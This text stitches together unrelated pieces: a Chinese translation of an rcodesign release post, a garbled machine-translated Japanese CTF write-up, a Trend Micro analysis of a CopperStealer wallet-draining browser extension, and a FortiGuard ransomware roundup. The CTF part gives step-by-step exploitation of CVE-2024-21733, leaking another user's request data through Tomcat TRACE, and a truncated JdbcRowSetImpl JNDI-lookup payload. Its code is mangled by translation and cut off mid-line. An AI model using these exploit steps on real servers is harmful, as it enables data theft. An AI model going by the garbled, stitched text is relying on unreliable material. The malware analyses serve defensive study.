從歷史上看,這些步驟需要Apple 專有軟件專門從macOS 運行。這意味著,即使你在Rust、Go 等軟件生態系統或Web 平台中,你可以在不直接訪問macOS 的情況下交叉編譯應用程序(測試顯然是另一回事),如果你願意,你仍然需要macOS簽署和公證你的申請。由於默認的安全設置,在macOS上需要有效的簽名和公證。在iOS 等移動平台上,除非你運行的是越獄設備,否則不可能發布未經簽名和公證的應用程序。

如果我不需要macOS來構建我的應用程序,為什麼我要被迫把蘋果設備作為我的軟件發布過程的一部分?為什麼在發布的時候,我必須簽署和公證我的申請,它不能更簡化嗎?

如果能重新實現Apple 代碼簽名,以便開發人員有更多的靈活性和機會將應用程序分發到Apple 的生態系統。其最終目標是擴大Apple 生態系統對更多開發者的訪問。

首先,得益於rcodesign 0.14.0的發布。這是我第一次發布rcodesign 的預構建二進製文件(Linux、Windows 和macOS)。

macOS rcodesign 可執行文件是自簽名的,它由GitHub Actions Linux 運行程序使用YubiKey 獨有的代碼簽名證書進行簽名。

2021年,apple-codesign 項目/Rust crate 發生了很大變化!只需查看更改日誌!

這個項目從tugger-apple-codesign改名而來。

如果你是通過cargo install 安裝的,你需要cargo install --force apple-codesign 來強制Cargo 用另一個crate 中的一個來覆蓋rcodesign 可執行文件。

rcodesign CLI可執行文件仍然存在,而且比以往任何時候都更強大。你仍然可以在Linux、Windows、macOS和任何其他平台上對Apple應用程序進行簽名,你可以在這些平台上編譯Rust程序。

Sphinx 文檔請點擊這裡,這與PyOxidizer 的文檔一起發佈在readthedocs.io 上(因為我使用的是monorepo)。那裡有一些通用文檔,例如有關如何通過將你自己的替代代碼簽名PKI 部署到並行Apple 來選擇性地繞過Gatekeeper 的指南。

支持簽名包、DMG 和.pkg 安裝程序當我去年宣布這個項目時,只有Mach-O 二進製文件和非常簡單的.app 包是可簽名的。即便如此,也有很多微妙的問題。

Rcodesign sign現在可以對更複雜的包進行簽名,包括許多嵌套的包。有報導稱iOS應用包簽名正確。

該工具還支持簽名.dmg磁盤映像文件和.pkg扁平封裝包安裝程序。

已知的簽名限制現在記錄在Sphinx 文檔中。

我相信rcodesign 現在支持對用於Apple 軟件分發的所有主要文件格式進行簽名。

支持Linux、Windows 和macOS 上的公證

蘋果發布了一個名為Transporter的Java工具,可以讓你上傳文物到蘋果進行公證。它們使這個工具可用於Linux、Windows,當然還有macOS。

雖然這個工具不是開源的,但使用這個工具可以讓你在Linux 和Windows 上進行公證,同時仍然使用Apple 的官方工具與他們的服務器通信。

rcodesign 現在支持調用Transporter 並將工件上傳到Apple 進行公證。我們現在支持公證包、dmg 磁盤映像和.pkg 扁平封裝安裝程序包。我已經成功地從Linux 公證了所有這些應用程序類型。

由於支持對所有應用程序類型進行簽名和公證,現在可以在沒有macOS 參與發布過程的情況下發布Apple 軟件。

YubiKey 集成我嘗試盡可能多地使用我的YubiKey,因為存儲在YubiKey 上的密鑰或私鑰可能比位於某個文件系統上的密鑰或私鑰更安全。如果你破解了我的設備,你很可能會獲得我的私鑰。但是你需要物理訪問我的YubiKey 並強迫或強迫我解鎖它,以獲得訪問其私鑰的權限。

rcodesign 現在支持使用YubiKeys 進行簽名操作。

這確實需要默認的智能卡Cargo 功能。因此,如果手動構建,你將需要例如cargo install --features smartcard apple-codesign.

YubiKey 集成來自yubikey 。這個crate 將直接與macOS 和Windows 中內置的智能卡API 對話。所以如果你有一個啟用了YubiKey 支持的rcodesign 構建,YubiKeys 應該可以工作。通過插入YubiKey 並運行rcodesign smartcard-scan 進行嘗試。

YubiKey 集成文檔可以點此查看。

我甚至實現了一些命令來輕鬆管理YubiKey 上的代碼簽名證書。例如,你可以直接在設備上運行rcodesign smartcard-generate-key --smartcard-slot 9c 以生成新的私鑰,然後rcodesign generate-certificate-signing-request --smartcard-slot 9c --csr-pem-path csr.pem將該證書導出到證書籤名請求(CSR),你可以在developer.apple.com 上交換Applie 頒發的簽名證書。這意味著你可以輕鬆創建其私鑰直接在硬件設備上生成且永遠無法導出的代碼簽名證書。以這種方式生成密鑰比將密鑰存儲在軟件庫(比如蘋果的Keychains)中更安全。

遠程代碼簽名我最感興趣的功能是我稱之為遠程代碼簽名的功能。

我在GitHub託管的Linux GitHub Actions運行程序上簽署了一個macOS通用Mach-O可執行文件,使用的YubiKey物理連接到我桌子旁邊的Windows 11設備上。未在計算機之間複製簽名的應用程序。

我有一個調用rcodesign sign --remote-signer 的GitHub Actions 工作流程。我手動觸發了該工作流程,並開始使用瀏覽器觀察近乎實時的作業輸出。 rcodesign sign --remote-signer 打印出一些指令(包括一堵base64 編碼數據的牆)以指示下一步該做什麼。重要的是,它要求其他人運行rcodesign remote-sign 以繼續簽名過程。

該日誌向我們展示了使用YubiKey 進行連接和身份驗證,以及一些關於與遠程服務器對話的狀態更新。

遠程簽名使我能夠從GitHub 運營的GitHub Actions 運行程序簽署macOS 應用程序,同時使用安全存儲在我的YubiKey 上的代碼簽名證書,該證書插入到距GitHub Actions 運行程序數百公里的Windows 設備上。

這裡發生的是2 個rcodesign 進程通過中央中繼服務器橋接的websocket 相互通信。我免費操作一個默認服務器。服務器是開源的,如果你想運行你自己的服務器,你可以使用terrform模塊,希望只需要花幾分鐘時間。當啟動設備希望創建簽名時,它向請求加密簽名的簽名者發送一條消息。然後將簽名發送回發起者,發起者將其合併。

我設計這個特性時考慮到了CI系統的自動發布(比如GitHub Actions)。我想要一種方法,可以簡化應用程序的代碼簽名和發布過程,而不必給CI中的低信任設備無限訪問我的私人簽名密鑰的權限。這可能在許多其他場景中都是有用的。你是否曾經因為沒有蘋果發行的代碼簽名證書而通過電子郵件或下拉框將應用程序發送給別人簽名?現在你有了一個不需要復製文件的替代解決方案。只要你可以看到啟動設備的日誌輸出,或者將輸出傳遞給你(例如通過聊天應用程序或電子郵件),你就可以在另一台設備上遠程簽署文件!

關於遠程簽名安全性Websockets 通過由第三方操作的中央服務器?授予遠程設備訪問權限以對任意內容執行代碼簽名?你的恐懼和懷疑是100% 有道理的:我也會這麼想!

促進遠程代碼簽名的服務會成為一個非常有利可圖的攻擊目標,如果被濫用,它可能被用來強制使用有效的代碼簽名證書的各方簽署不想要的代碼,如惡意軟件。實現這樣的功能有很多很多很多錯誤的方法。

遠程代碼簽名設計和安全注意事項包含了我的一些高級設計目標和安全評估。遠程代碼簽名協議詳細介紹了通信協議,包括所涉及的加密(實際的加密,而不是流行的加密)。關鍵在於協議和服務器的設計使惡意服務器或中間人無法偽造簽名請求。簽名會話在幾分鐘後過期,第三方或服務器無法注入會導致不需要簽名的惡意消息。通過初始握手獲得會話臨時共享加密密鑰,並從那裡使用對稱加密密鑰,因此對等方之間的所有有意義的消息都是端到端加密的。惡意服務器可以做的最糟糕的事情就是進行拒絕服務。

我相信我的遠程簽名實現比許多常見做法更安全,因為今天的常見做法需要復制私鑰並讓低信任度設備(如CI 工作人員)訪問私鑰或者文件在沒有加密監管鏈的情況下被複製以證明不會被篡改。是的,遠程簽名為遠程訪問引入了使用簽名密鑰的向量。但是按照我的意圖進行實踐,遠程簽名可以消除複製私鑰或授予對它們的無限訪問權限的需要。從威脅建模的角度來看,我認為密鑰訪問中的網絡限制使得遠程簽名比現在許多人使用的私鑰管理實踐更安全。

話雖如此,這裡的星號是我實現了我自己的密碼系統來實現端到端消息安全。如果在設計或實現中存在漏洞,密碼系統可能會崩潰,從而帶來對消息偽造的防禦。屆時,惡意服務器或特權網絡攻擊者可能會強迫某人簽署不需要的軟件。但這很可能是損害的程度:對簽名密鑰的脫機攻擊是不可能的,因為簽名需要存在,而且私鑰永遠不會通過網絡傳輸。即使沒有端到端加密,該系統也比將你的私有密鑰作為一個容易被竊取的CI秘密(或類似的)留在周圍更安全。

Apple 鑰匙串支持從0.14 版本開始,我們現在可以提前支持使用存儲在Apple 鑰匙串中的代碼簽名證書進行簽名!如果你在Keychain Access 或Xcode 中創建了Apple 代碼簽名證書,那麼這可能就是你的代碼簽名證書所在的位置。

我拖延了很長一段時間,因為我沒有意識到這有什麼好處:如果你使用macOS,只需使用蘋果的官方工具。但是隨著rcodesign獲得了對遠程代碼簽名的支持,以及其他一些功能,這些功能可以讓它成為所有平台上蘋果工具的有力替代品,我認為我們應該提供這個功能,這樣我們就不會再阻止人們從keychain導出私鑰了。

Apple 的代碼簽名很複雜。 蘋果的工具和rcodesign之間很容易出現細微差別。

rcodesign 現在有print-signature-info 和diff-signatures 命令來轉儲和比較與代碼簽名相關的YAML 元數據,以便更容易地比較代碼簽名實現甚至多個簽名操作之間的行為。

web

passwdstealer

序文

元々はpasswdstealerです:)

テストポイントは、スプリングブートシナリオでのCVE-2024-21733の使用です。

脆弱性の基本原則の参照https://MP.Weixin.QQ.com/s?__biz=mzg2mdy2odc5ma==mid=2247484002IDX=1SN=7936818B93F22D9A656D8ED4848432C0

二度と繰り返しません。

スプリングブートシナリオでの使用

以前の分析は、Tomcat環境でのこの脆弱性の搾取には特定の条件が必要であることを示しています

タイムアウトエラーをトリガーします。これにより、Reset()がサーバー()のループ処理をトリガーするロジックを呼び出し、Tomcatが一度に複数のリクエストを処理し、漏れた機密データをエコーできるようにします。以下は、裸のスプリングブートシナリオでそれを使用する方法を見つけることです。

テスト環境:Springboot V2.6.13、Tomcatは脆弱性バージョン9.0.43に置き換えられ、ルーティングコントローラーは追加されていません。

step1トリガータイムアウト

目的は、read()を投げるioexception 21pvd0dyvaw554.pngを作成することです

リセット()をスキップして、制限の不整列を引き起こします。

上記の分析でPOCを使用するには、CLが実際の値iuzfgd4flc1555.pngを超えるCLを使用したパッケージを投稿します

AAAルートが存在せず、POSTデータがTomcatによって処理されないため、数秒で戻りません。

ここでは、投稿データを処理できるリクエストを見つける必要があります。

ここでは、MultiPart/Form-Dataを使用してデータをアップロードします。

1fjnvy0dzwr556.png

タイムアウトタイムアウトは正常にトリガーされました

step2はループ
に入ります

次に、リクエストがタイムアウト後にhttp11processor.java#service()のループをまだ入力するように、条件2を満たすようにしてください。デバッグ後、これは条件nujy1x41bgb557.pngを満たしていないことがわかりました

KeepAliveはfalseになり、コールスタックを上向きにバックトラックして理由を見つけます。

e4nvvapkwfa558.png e51rqcit0cp559.png

StatusCodeがStatusDropSconnectionにある場合、KeepAliveはfalseに設定されます

バックトラッキングを続けて、ステータスコードが500に設定されている場所を見つけてください。

qtvqackm4md560.png

追いかけて、それをトリガーしたのはservletexceptionであることがわかりますmi1qiewjnz0561.png

フォローアップを続け、最終的にトリガーされたIOExceptionがfileuploadexception tsgqajcwmlt562.pngとしてパッケージ化されたことを見つけます

ここでのIOExceptionは、実際にはDocardBodyDataのときに使い果たされました。捕まっていないので、上位に直接投げられました。ymdcx1kuod4563.png

この時点で、500の生成の理由を見つけました。500の生成からのリクエストを防ぐ方法を探してみましょう。これは、docardbodydata()をioexceptionを投げることなく、タイムアウトを引き起こす可能性があります。

最初に通常のマルチパートパッケージを使用してテストします。

ここにいくつかの境界基準があります

boundary=--- webkitformboundary7ma4ywxktrzu0gwがコンテンツタイプで設定されていると仮定します。

次に------ WebKitFormBoundary7MA4YWXKTRZU0GWは、パーツの始まりを表します(2つの最初の - )

----- webkitformboundary7ma4ywxkttrzu0gw--フォームの終わりを表します(2つは前後に追加されます - )

ここでは、頭と尾fclxhuh5frc564.pngを備えたマルチパートアップロードパッケージを構築します

彼はreadbounddary()に足を踏み入れることができることがわかりました

btobsim4nai565.png

readbounddary()をフォローアップし続けます。上記の境界基準によれば、マーカー[0]=readbyte();最後の2桁を読んでいます - またはCLRFは、境界の終わりのシンボルです。4k5kzzlg54v567.png

しかし、これを行うようにリクエストパッケージを設定した場合、つまり、境界エンドフラグはありませんか?3p5fj5k4qz0568.png

パケットは続き続け、readbyte()がデータを読み取ることができない場合(送信しなかったため)、最終的にfill()を呼び出し、fillにioexception(step1の位置)を引き起こすことがわかります。

sl5ozee0mxa569.png

現時点では、readbyte()はioExceptionを投げますが、読み取りに巻き込まれ、不正なストリームエクセプトとしてパッケージ化されます。

この時点で、私はSkippreamble関数に戻り、MalformedStreamExceptionが捕まえることを発見し、500を引き起こすためにIOExceptionを上方に投げ続けることができなくなりました。

} catch(最終的なMalformedstreamexception e){

falseを返します。この時点で、タイミングを出したが404を返したリクエストパッケージを正常に構築し、404はStatusDropSconnectionに含まれていないため、whileループを入力できます。2sriipmg5zp570.png

step3漏れecho

この手順は、トレースリクエストを使用するために直接使用できます。トレースリクエスト

xpmjia2dou4571.png

end utilization

ここでは、通常のユーザーのヘッダーにフラグを漏らすという目標を設定します。

まず、敏感な情報を内部に含むリクエスト(このリクエスト中に被害者が送信したと仮定して)を送信します。この時点で、入力バッファはこのように見えます。wcnxzmgjor0572.png

攻撃者はリクエストを送信し、通常42rz1guccdi573.pngを返します

この時点で、入力バッファ内の状況はこのようになりました。qjc5yg0r5ub574.png

最後の最も重要なステップは、攻撃者が瞑想的なマルチパートパッケージ13pcgtfwo55575.pngを送信することです

この時点で、マルチパートパッケージがタイムアウトした後、whileループに入り、パッケージの送信を継続します。したがって、Nextrequestの後、入力バッファーは完全なトレースリクエストになり、フラグは元のバッファーを上書きすることによりトレース要求のヘッダーになります。

fdqlceg4nyr576.png

最後に、フラグはトレースのエコーによって得られます。

tm2cidr02c2577.png

ここで手に入れるのはヘッダー情報ですが、実際に体を取得できます。これはもう少し面倒です。被害者パッケージの前にCLRFでいっぱいのパッケージを送信し、事前にバッファーをCLRFで満たし、トレースで要求されたヘッダーとしてボディを上書きします。

ezql

パッケージorg.example;

com.ql.util.express.defaultContextをインポートします。

com.ql.util.express.expressrunnerをインポートします。

com.ql.util.express.config.qleexpressruntrategyをインポートします。

com.sun.net.httpserver.httpserverをインポートします。

com.sun.net.httpserver.httphandlerをインポートします。

com.sun.net.httpserver.httpexchangeをインポートします。

sun.misc.base64decoderをインポートします。

java.io.ioexceptionをインポートします。

java.io.inputStreamをインポートします。

java.io.outputStreamをインポートします。

java.net.inetsocketAddressをインポートします。

java.nio.charset.standardcharsetsをインポートします。

java.util.base64をインポートします。

java.util.hashsetをインポートします。

java.util.listをインポートします。

java.util.setをインポートします。

パブリッククラスメイン{

public static void main(string [] args)throws ioexception {

int port=integer.parseint(system.getenv()。getordefault( 'port'、 '8000'));

httpserver server=httpserver.create(new inetsocketAddress(port)、0);

server.createcontext( '/'、new httphandler(){

@オーバーライド

public voidハンドル(httpexchange req)がioexceptionをスローします{

int code=200;

文字列応答;

string path=req.getRequesturi()。getPath();

if( '/ql'.equals(path)){

試す {

文字列式=getRequestBody(req);

Express=new String(base64.getDecoder()。decode(express));

ExpressRunner Runner=new ExpressRunner();

qleexpressrunstrategy.setforbidinovokesecurityRiskMethods(true);

SetString secureMethods=new Hashset();

securemethods.add( 'java.lang.integer.valueof');

qleexpressrunstrategy.setsecuremethods(securemethods);

DefaultContextString、Object Context=new DefaultContext();

応答='0';

試す {

Response=string.valueof(runner.execute(express、context、(list)null、false、false));

} catch(例外e){

System.out.println(e);

}

//string param=req.getRequesturi()。getQuery();

//response=new initialContext()。lookup(param).toString();

} catch(例外e){

e.printstacktrace();

Response=':(';

}

} それ以外{

コード=404;

応答='見つかりません';

}

req.sendresponseheaders(code、response.length());

outputStream os=req.getResponseBody();

os.write(respons.getBytes());

os.close();

}

});

server.start();

System.out.printf( ':%d%n'、portで聞くサーバー);

}

private static string getRequestBody(httpexchange Exchange)はioExceptionをスローします{

inputStream is=exchange.getRequestBody();

byte [] buffer=new byte [1024];

int bytesRead;

stringbuilder body=new StringBuilder();

while((bytesread=is.read(buffer))!=-1){

body.append(new String(Buffer、0、BytesRead、StandardCharsets.utf_8));

}

return body.toString();

}

}

単純なQL式

解決策1

ソリューション1は、実際には少し予期せぬものに偏っており、Qleexpressionの特徴を忘れています。まず、CB依存関係が付属するActiveMQ依存関係があることに気付きました。したがって、脱力化利用チェーンが確認されています。

2つ目は、脱審成をトリガーする方法です。脱派化のトリガーのための2つのアイデアは簡単ではありません。

TemplatesJndiは後者に属します。JDBCrowsetのセッターメソッドを呼び出してルックアップを押すことができます

com.sun.rowset.idbcrowsetimplをインポートします。

jdbc=new jdbcrowsetimpl();

JDBC.DATASOURCENAME='

趨勢科技的研究人員跟踪了CopperStealer幕後組織的最新部署,這次是通過基於Chromium的惡意瀏覽器擴展程序竊取加密貨幣和用戶的錢包帳戶信息。

趨勢科技最近發布了關於CopperStealer通過濫用瀏覽器竊取程序、廣告軟件瀏覽器擴展程序或遠程桌面等各種組件傳播惡意軟件的分析。跟踪網絡犯罪集團的最新活動,研究人員發現了一個惡意瀏覽器擴展,當受害者登錄到一個主要的加密貨幣交易網站時,該擴展能夠創建和竊取受感染設備的API密鑰。這些API密鑰允許擴展程序執行交易並將加密貨幣從受害者的錢包發送到攻擊者的錢包。

與以前的攻擊類似,這個新組件通過fake crack(也稱為warez)網站傳播。該組件通常與瀏覽器竊取程序一起分佈在一個釋放器中,並與其他不相關的惡意軟件捆綁在一起。這個捆綁包被壓縮成一個受密碼保護的檔案,自7月以來一直在野外傳播。

滴管/擴展安裝程序該組件在第一階段使用之前文章中描述的相同加密器,然後是第二階段,其中解密的DLL是UltimatePackerExecutables-(UPX)打包的。解密和解包後,我們注意到一個名為CRX的資源目錄,其中包含一個7-Zip壓縮文件。惡意Chrome瀏覽器擴展通常以這種方式打包。

1.png

名為CRX的擴展安裝程序,包含一個7-Zip壓縮文件

該壓縮文件包含一個帶有設置的JSON文件和另一個帶有擴展安裝程序本身代碼的7-Zip壓縮文件。

2.png

CRX的解壓內容

擴展安裝程序首先修改文件首選項和安全首選項在chrome瀏覽器的用戶數據目錄。這個名為Preferences的文件是JSON格式,包含個人用戶設置。擴展安裝程序關閉瀏覽器通知。

同時,名為SecurePreferences的文件也是JSON格式,包含已安裝擴展的設置。對於新安裝的擴展,crx.json文件的內容將插入到此安全首選項設置文件中。新安裝的擴展也會添加到位於註冊表中的擴展安裝允許列表中。

然後將crx.7z壓縮文件中的文件提取到位於

Chrome

Chromium

Edge

Brave

Opera

CốcCốc

CentBrowser

Iridium

Vivaldi

Epic

Coowon

AvastSecureBrowser

Orbitum

ComodoDragon我們還注意到,該擴展程序被安裝到受害者的瀏覽器中,具有兩個不同的擴展程序ID,且在官方Chrome網上商店中都找不到:

Cbnmkphohlaaeiknkhpacmmnlljnaedp;

Jikoemlnjnpmecljncdgigogcnhlbfkc;擴展分析安裝擴展程序後,我們還注意到chrome://extensions/中新安裝了以下擴展程序。

3.png

安裝的惡意擴展

擴展清單定義了兩個Java腳本。後台腳本名為background.js,並且只在一個實例中運行在擴展本身內部。同時,內容腳本稱為content.js,並在coinbase.com上下文中運行,如擴展清單中的代碼片段所示。

4.png

在擴展清單中指定的內容腳本的設置

腳本混淆這兩個Javascript文件都被嚴重混淆。在第一個混淆步驟中,所有字符串被拆分為子字符串,存儲在單個數組中,通過調用多個帶有5個十六進制整數參數的十六進制命名函數來實現對數組的訪問。

5.png

第一層混淆

看看第二個混淆步驟,所有字符串、邏輯操作符(+、-、*、/)、函數調用等都被插入到對像數組中。每個對像都有一個隨機字符串作為名稱,或者另一個字符串或函數作為值。在我們分析的示例中,_0x1f27e3['PFPYr']對應字符串' set ', _0x1f27e3['LYLfc'](0,1)對應邏輯表達式0!=1。

6.png

第二層混淆

這兩個混淆步驟都可以通過使用自定義自動化腳本來反混淆。

後台腳本分析通過分析腳本,本節分析了攻擊者如何能夠竊取合法加密貨幣錢包用戶的賬戶信息。當擴展啟動時,後台腳本進行兩個查詢。第一個是對http:///traffic/chrome的GET請求,可能是出於統計目的。第二個查詢是對http://

blockchain.com

coinbase.com

binance.com

ftx.com

okex.com

huobi.com

kraken.com

poloniex.com

crypto.com

bithumb.com

bitfinex.com

kucoin.com

gate.io

tokocrypto.com

tabtrader.com

mexc.com

lbank.info

hotbit.io

bit2me.com

etoro.com

nicehash.com

probit.com然後,該擴展為各種加密貨幣和令牌定義了一個攻擊者的地址數組:

Tether(USDT,specificallyinEthereumERC20andTRONTRC20)

Ethereum(ETH)

Bitcoin(BTC)

Litecoin(LTC)

Binancecoin(BNB)

Ripple(XRP)

Solana(SOL)

BitcoinCash(BCH)

Zcash(ZEC)

StellarLumens(XLM)

Dogecoin(DOGE)

Tezos(XTZ)

Algorand(ALGO)

Dash(DASH)

Cosmos(ATOM)對於ETH地址,腳本硬編碼了大約170個額外的基於ERC20的代幣。之後,擴展啟動onMessage偵聽器以偵聽來自擴展進程或內容腳本發送的消息。該消息採用JSON格式,其中一個name-value pair稱為method。後台腳本偵聽以下方法:

马云惹不起马云Method “homeStart”

這個方法試圖從Chrome的本地存儲獲取API密鑰(apiKey)和API秘密(apiSecret),如果這些密鑰和秘密對是之前獲得併保存的。以下步驟需要這些參數:

1.使用API通過請求/api/v2/accounts獲取有關錢包、地址和余額的信息。此請求的結果也被洩露到http://

2.如果請求成功,API會向內容腳本發送“okApi”消息並開始解析錢包信息。如果錢包餘額不為零,它會嘗試將85%的可用資金發送到攻擊者控制的錢包。

7.png

尋找餘額不為零的錢包

8.png

竊取85%的可用資金

交易請求的結果也會被洩露到http://

1.如果不成功,API會向內容腳本發送“errorApi”消息。 “errorApi”消息包含來自https://www.coinbase.com/settings/api的CSRF令牌作為一個參數,以及對新API密鑰創建請求的響應。

2.Method “createApi”。

此消息是從內容腳本接收的,並包含一個雙因素身份驗證(2FA)代碼作為參數之一。此代碼用於打開新的模式窗口以創建API密鑰。通常,當你在CoinbaseAPI設置中點擊“+NewAPIKey”時,會請求一個2FA代碼,如果代碼正確,就會出現模式窗口。

在創建新API的第二步中,需要選擇錢包及其權限。惡意擴展請求所有帳戶的所有可用權限。

9.png

選擇所有帳戶和權限

之後,需要再插入一個身份驗證代碼,然後就會顯示一個帶有新生成的API密鑰的表單。如果成功,後台腳本然後繼續從“API Key details”表單提取兩個API密鑰(API Key和API Secret),將它們保存到Chromium的本地存儲以供以後使用,並將它們提取到http:///traffic/step。如果API身份驗證不成功,將向內容腳本發送一條“retryApi”消息。

內容腳本分析我們進一步研究了內容腳本,以分析負責從受害者那裡竊取2FA密碼的進程。內容腳本包含以下語言的消息列表:

马云惹不起马云英語(en)

马云惹不起马云德語(de)

马云惹不起马云西班牙語(es)

马云惹不起马云法語(fr)

马云惹不起马云日語(jp)

马云惹不起马云印度尼西亞(身份證)

马云惹不起马云意大利語(它)

马云惹不起马云波蘭語(pl)

马云惹不起马云葡萄牙語(pt)

马云惹不起马云俄語(ru)

马云惹不起马云泰語(日)

马云惹不起马云 土耳其語(tr)

每條消息都包含電話和身份驗證器的標題、描述和錯誤消息。

對於“phone”,顯示的英文信息顯示為:

马云惹不起马云“title”:“請輸入手機驗證碼。”

马云惹不起马云“description”:“輸入手機短信提供的兩步驗證碼。”

马云惹不起马云“message”:“該代碼無效。請再試一次。”

對於“authenticator”,顯示的英文消息如下所示:

马云惹不起马云“title”:“請輸入驗證器的驗證碼。”

马云惹不起马云“description”:“輸入你的身份驗證應用程序提供的兩步驗證碼。”

马云惹不起马云“message”:“該代碼無效。請再試一次。”

內容腳本最初向/api/v3/brokerage/user_configuration發出請求,以查看用戶是否已登錄。然後腳本向後台腳本發送一個“homeStart”消息,並開始使用onMessage偵聽類似於後台腳本進程的“method”屬性。如果它接收到一個方法屬性等於“okApi”的消息,它會隱藏代碼加載器並移除模式窗口。如果它接收到一個方法屬性等於“errorApi”的消息,它就會創建一個模式窗口。

10.png

顯示要求輸入身份驗證代碼的模式窗口

模式窗口有輸入框並偵聽oninput事件。如果每個輸入框都包含一個數字,則將它們連接成一個“tfa”(2FA)變量,並作為“createApi”消息的參數發送到後台腳本。代碼加載器也會顯示出來。

模式窗口有六個輸入框,需要輸入六位數,這是在使用驗證器時提供的。如果受害者通過短信使用身份驗證,那麼身份驗證代碼有7位數字,模式窗口將多一個輸入框。此邏輯在模式窗口代碼中實現。收到的方法屬性等於“retryApi”的消息會刪除所有插入的數字,並以紅色顯示錯誤消息。

11.png

輸入驗證碼後,出現錯誤信息

總結CopperStealer的幕後攻擊者會經常發起攻擊,研究人員將繼續監控他們的部署,因為攻擊者找到了更多針對不知情的受害者的方法。在分析此進程時,研究人員發現此擴展程序與之前報告的惡意軟件組件之間存在多個相似之處,其中之一是惡意擴展程序和CopperStealer是從之前記錄的同一個dropper和相同的傳輸載體傳播的。

另一個驚人的相似之處是惡意擴展的命令和控制(CC)域具有與域生成算法(DGA)域相同的格式,這些域被追溯為屬於先前版本的CopperStealer。格式是由16個十六進製字符組成的字符串。此外,他們的兩個CC服務器都是使用PHP框架“CodeIgniter”構建的。這些屬性向我們暗示,惡意軟件和擴展程序背後的開發人員或運營商可能存在關聯。

建議用戶和組織從官方平台下載他們的軟件、應用程序和更新,以緩解CopperStealer等惡意軟件帶來的風險和威脅。

FortiGuard Labs每兩週收集一次關於勒索軟件變體的數據,追踪分析發現Snatch,BianLian 和Agenda都出現了最新的變體。這三個惡意軟件都是用Go編程語言(Golang)編寫的。

马云惹不起马云受影響的平台:Microsoft Windows

马云惹不起马云受影響方:Microsoft Windows 用戶

马云惹不起马云影響:加密受感染設備上的文件並要求贖金才能解密文件

马云惹不起马云 嚴重性級別:高

SnatchSnatch勒索軟件至少從2018年底就開始活躍了。 2021年11月30日,Snatch勒索組織在其數據站點添加了一條條目,內容涉及入侵沃爾沃汽車公司的服務器並竊取文件,同時還附上了被盜文件的屏幕截圖作為證據。

Snatch勒索軟件是最早用Go編程語言的組織,當時用Go編寫的勒索軟件非常罕見。巧合的是,本文中涉及的所有其他勒索軟件變種都是用Go編寫的。

Snatch 勒索軟件是一種文件加密器,以使用著名的文件擴展名“.snake”而聞名,它會附加到加密文件中。但是,已觀察到其他文件擴展名。其勒索信的文件名也因變體而異。

已報告的Snatch 勒索軟件感染媒介是RDP(遠程桌面協議)憑證暴力破解。從Windows 11 內部版本22528.1000 開始,Microsoft 默認啟用了帳戶鎖定策略,該策略會在登錄嘗試失敗時鎖定用戶帳戶。這不僅使RDP 暴力破解變得更加困難,而且還使任何其他密碼猜測攻擊變得更加困難。

最新的Snatch 勒索軟件變種會加密受害者設備上的文件,並將“.gaqtfpr”擴展名附加到受影響的文件中。它還會刪除一個文本文件“HOW TO RESTORE YOUR FILES.TXT”。該勒索信包含兩個聯繫電子郵件地址以及受害者在向攻擊者發送電子郵件時必須遵循的特定說明。

1.png

Snatch勒索軟件最新變體發出的勒索信

2.png

被最新Snatch 勒索軟件變種加密的文件

BianLian用Go編程語言編寫的BianLian於2022年7月中旬首次被發現,它的運營商本月增加了他們的命令和控制(C2)基礎設施,最近開始將受害者添加到其Tor 上的數據洩露網站上。截至撰寫本文時,至少有20家公司成為了其受害者。不過,攻擊者很有可能隱瞞了支付贖金的受害者的數量,BianLian勒索軟件的實際受害者可能會更多。

3.png

BianLian 勒索軟件公開的受害者列表

每個BianLian 受害者都被標記為他們的國家和他們所屬的行業。根據可用的標籤,它的勒索軟件受害者至少在美國、英國和澳大利亞。目標行業包括醫療保健、教育、律師事務所、建築、媒體、製藥、營銷、度假村和金融。

4.png

BianLian勒索軟件攻擊者對受害者的分類標籤

每個受害者都有一個專門的頁面。其中包括受害企業的描述、首席執行官或公司總裁的姓名、他們的個人收入、這些公司的收入、資產和收入,以及洩露的文件中包含哪些信息。

5.png

BianLian 勒索軟件數據洩露網站上發布的受害者信息

有趣的是,Colin Grady 最近觀察到,由一些勒索軟件攻擊者操作的洩漏網站在2022 年8 月26 日關閉了。不過,其中一些仍存在斷斷續續的使用,其中就包括BianLian和Snatch勒索軟件。

攻擊者還警告受害者,他們必須在十天內支付贖金。否則,竊取的信息將被發佈在該勒索軟件組織的Tor網站上。為了給受害者施加額外壓力,攻擊者聲稱將向受害者的客戶和業務夥伴發送指向被盜信息的鏈接,以損害受害者的聲譽。受害者被指示使用Tox或通過電子郵件聯繫攻擊者。由於贖金金額和支付方式沒有寫在勒索信上,因此受害者將與攻擊者進行協商。

6.png

BianLian勒索軟件的勒索信

7.png

數據洩露網站上列出的聯繫方式

8.png

BianLian 勒索軟件加密的文件

由BianLian 勒索軟件加密的文件具有“.bianlian”文件擴展名。

AgendaAgenda是另一個基於Go的勒索軟件,於2022年6月中旬出現,根據VirusTotal報告的相關樣本,該勒索軟件可能已攻擊了南非、羅馬尼亞、立陶宛、印度、泰國、美國、加拿大和印度尼西亞。

據報導,Agenda勒索軟件的感染載體是通過使用竊取的憑證登錄到面向公眾的服務器。然後,攻擊者通過受害者的網絡傳播,攻擊其他計算機。一旦攻擊者獲得網絡上臨界數量的設備的訪問權,Agenda勒索軟件就會被部署到受攻擊的設備上。

為了規避反病毒解決方案的檢測,勒索軟件以安全模式加密文件。這種技術已在其他臭名昭著的勒索軟件家族中觀察到,例如REvil、BlackMatter 和AvosLocker。附加到加密文件的文件擴展名因變體而異。例如,如果勒索軟件變種使用“.fortinet”作為文件擴展名,“blog.docx”將更改為“blog.fortinet”。它的勒索通知的名稱以它添加到受影響文件的文件擴展名開始,然後是“-RECOVER-README.txt”。

9.png

Agenda勒索軟件留下的勒索信

反病毒簽名通過FortiGuard的Web過濾、防病毒、FortiMail、forclient和FortiEDR服務,Fortinet客戶已經可以免受這些惡意軟件變體的攻擊,如下所示:

SnatchFortiGuard Labs 檢測到本文中描述的最新的Snatch勒索軟件變體,具有以下反病毒簽名:

W64/Filecoder.D083 ! tr.ransom

以下反病毒特徵可以檢測到已知的“Snatch”勒索軟件變體樣本:

马云惹不起马云W64/Snatch.A!tr.ransom

马云惹不起马云W32/Snatch.B!tr

马云惹不起马云W32/Snatch.7991!tr.ransom

马云惹不起马云W64/Snatch.BD11!tr.ransom

马云惹不起马云W32/Snatch.C09B!tr.ransom

马云惹不起马云W64/Ransom.A!tr

马云惹不起马云W32/Filecoder.A!tr.ransom

马云惹不起马云W32/Filecoder.NYH!tr

